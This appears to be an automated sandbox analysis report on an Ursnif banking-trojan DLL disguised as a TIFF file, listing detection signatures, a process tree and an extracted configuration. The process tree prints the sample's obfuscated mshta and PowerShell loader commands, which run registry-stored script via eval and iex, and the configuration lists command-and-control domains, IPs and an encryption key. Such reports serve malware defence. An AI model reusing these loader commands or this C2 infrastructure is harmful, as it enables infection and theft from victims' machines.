Windows
Analysis Report
626a983c091a8.tiff.dll
Overview
General Information
Detection
Ursnif
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Found malware configuration
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Sigma detected: Windows Shell File Write to Suspicious Folder
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Machine Learning detection for sample
Allocates memory in foreign processes
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Sigma detected: Suspicious Call by Ordinal
Modifies the context of a thread in another process (thread injection)
Sigma detected: Mshta Spawning Windows Shell
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Classification
- System is w10x64
loaddll32.exe (PID: 3332 cmdline:
loaddll32. exe "C:\Us ers\user\D esktop\626 a983c091a8 .tiff.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938) cmd.exe (PID: 2012 cmdline:
cmd.exe /C rundll32. exe "C:\Us ers\user\D esktop\626 a983c091a8 .tiff.dll" ,#1 MD5: F3BDBE3BB6F734E357235F4D5898582D) rundll32.exe (PID: 4956 cmdline:
rundll32.e xe "C:\Use rs\user\De sktop\626a 983c091a8. tiff.dll", #1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D) control.exe (PID: 6784 cmdline:
C:\Windows \system32\ control.ex e -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
mshta.exe (PID: 6312 cmdline:
C:\Windows \System32\ mshta.exe" "about:<h ta:applica tion><scri pt>Ssif='w script.she ll';resize To(0,2);ev al(new Act iveXObject (Ssif).reg read('HKCU \\\Softwar e\\AppData Low\\Softw are\\Micro soft\\54E8 0703-A337- A6B8-CDC8- 873A517CAB 0E\\\TestL ocal'));if (!window.f lag)close( )</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB) powershell.exe (PID: 6476 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" new-alias -name jxrv wmqrt -val ue gp; new -alias -na me xfmkywx ojr -value iex; xfmk ywxojr ([S ystem.Text .Encoding] ::ASCII.Ge tString((j xrvwmqrt " HKCU:Softw are\AppDat aLow\Softw are\Micros oft\54E807 03-A337-A6 B8-CDC8-87 3A517CAB0E ").UrlsRet urn)) MD5: 95000560239032BC68B4C2FDFCDEF913) conhost.exe (PID: 6488 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) csc.exe (PID: 6648 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cs c.exe" /no config /fu llpaths @" C:\Users\u ser\AppDat a\Local\Te mp\o1ulwvc t\o1ulwvct .cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D) cvtres.exe (PID: 6732 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES9868.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\o1u lwvct\CSC9 597862635B 74071BA42F 3284427E86 E.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D) csc.exe (PID: 6756 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cs c.exe" /no config /fu llpaths @" C:\Users\u ser\AppDat a\Local\Te mp\tn4ral5 l\tn4ral5l .cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D) cvtres.exe (PID: 6792 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESA96F.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\tn4 ral5l\CSC7 E5DF85510F F49B49113D D9CBF81BD4 .TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D) explorer.exe (PID: 3616 cmdline:
C:\Windows \Explorer. EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D) cmd.exe (PID: 6244 cmdline:
C:\Windows \System32\ cmd.exe" / C ping loc alhost -n 5 && del " C:\Users\u ser\Deskto p\626a983c 091a8.tiff .dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F) conhost.exe (PID: 6368 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) PING.EXE (PID: 6096 cmdline:
ping local host -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B) RuntimeBroker.exe (PID: 4440 cmdline:
C:\Windows \System32\ RuntimeBro ker.exe -E mbedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
- cleanup
{"RSA Public Key": "+FflIsIAzGiUM0s27tuLbRAwZqYoqmNsTeF7rxG/Mwp38QqxThLLXpreOfEHBItOJka6enf+5fp9fT9wIfjoNQYondBMg0CXVUaaXZmXPw7dFUCTuwl/1fJ8Te0BDO4/e0D+MT+n6Ovzq2MwCzSIm7W4ZiEEkdm60WNeCsFwnx1f78Cv9j4wv9nLP3bFRx9OkdD66cn4ATsp0wULyGpOtly6uJj4gNSoIxbBBQeCFBEVhnqZ/KZ3/SbtJUJ3X757TgS02V8uV2DJldCmSy1UGDylgn9Cs1EUm4RQgf1fFSmTn7kcnOpsq0753wd2/m9Jbas3/WEwOA88vTsSUvhPp7zr8Ltl9tao4hrJvcTrul8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "hopexmder.net", "94.140.114.144", "94.140.112.49", "94.140.112.121"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8, calc no*ad *terminal* *debug*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
Click to see the 21 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
Click to see the 2 entries |
System Summary |
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Source: | Author: Florian Roth: |
Source: | Author: Michael Haag: |
Source: | Author: Florian Roth: |
Source: | Author: Florian Roth: |
Source: | Author: Florian Roth: |
Source: | Author: frack113: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): |
Source: | Author: frack113: |
Timestamp: | 04/28/22-15:47:50.266267 04/28/22-15:47:50.266267 |
SID: | 2033203 |
Source Port: | 49759 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/28/22-15:47:52.636763 04/28/22-15:47:52.636763 |
SID: | 2033203 |
Source Port: | 49759 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/28/22-15:47:51.337694 04/28/22-15:47:51.337694 |
SID: | 2033203 |
Source Port: | 49759 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
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Show All Signature Results
AV Detection |
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Source: |